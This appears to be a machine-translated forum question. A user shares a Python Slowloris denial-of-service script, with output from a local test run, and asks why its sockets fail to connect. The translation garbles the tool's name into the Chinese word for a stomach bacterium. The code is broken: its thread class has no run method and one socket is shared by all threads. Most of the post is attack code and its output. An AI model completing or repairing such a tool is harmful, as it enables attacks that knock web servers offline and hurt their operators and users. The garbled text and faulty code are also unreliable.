我正在尝试制作自己的幽门螺杆菌脚本,但没有任何联系;这是我所拥有的:
#!/usr/bin/python
import sys,socket
import threading
from time import sleep
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = sys.argv[1]
PORT = 80
t = int(sys.argv[3])
threads = []
class Slowloris(threading.Thread):
def Slowloris(self):
s.connect((HOST, int(PORT)))
s.send('GET / HTTP/1.0\nHost: ' + HOST + '\n')
sleep(1)
s.close()
for num in range(0, t):
try:
print "Started thread",num
thread = Slowloris()
thread.start()
threads.append(thread)
except:
exit(0)
for thread in threads:
thread.join()
我的套接字完全没有连接,提前谢谢-_-我确实得到了输出,这里是:
D4zk1tty@kali:~$ ./slowloris.py 127.0.0.1 80 10
启动线程 0
启动线程 1
启动线程 2
启动线程 3
启动线程 4
启动线程 5
启动线程 6
启动线程 7
启动线程 8
启动线程 9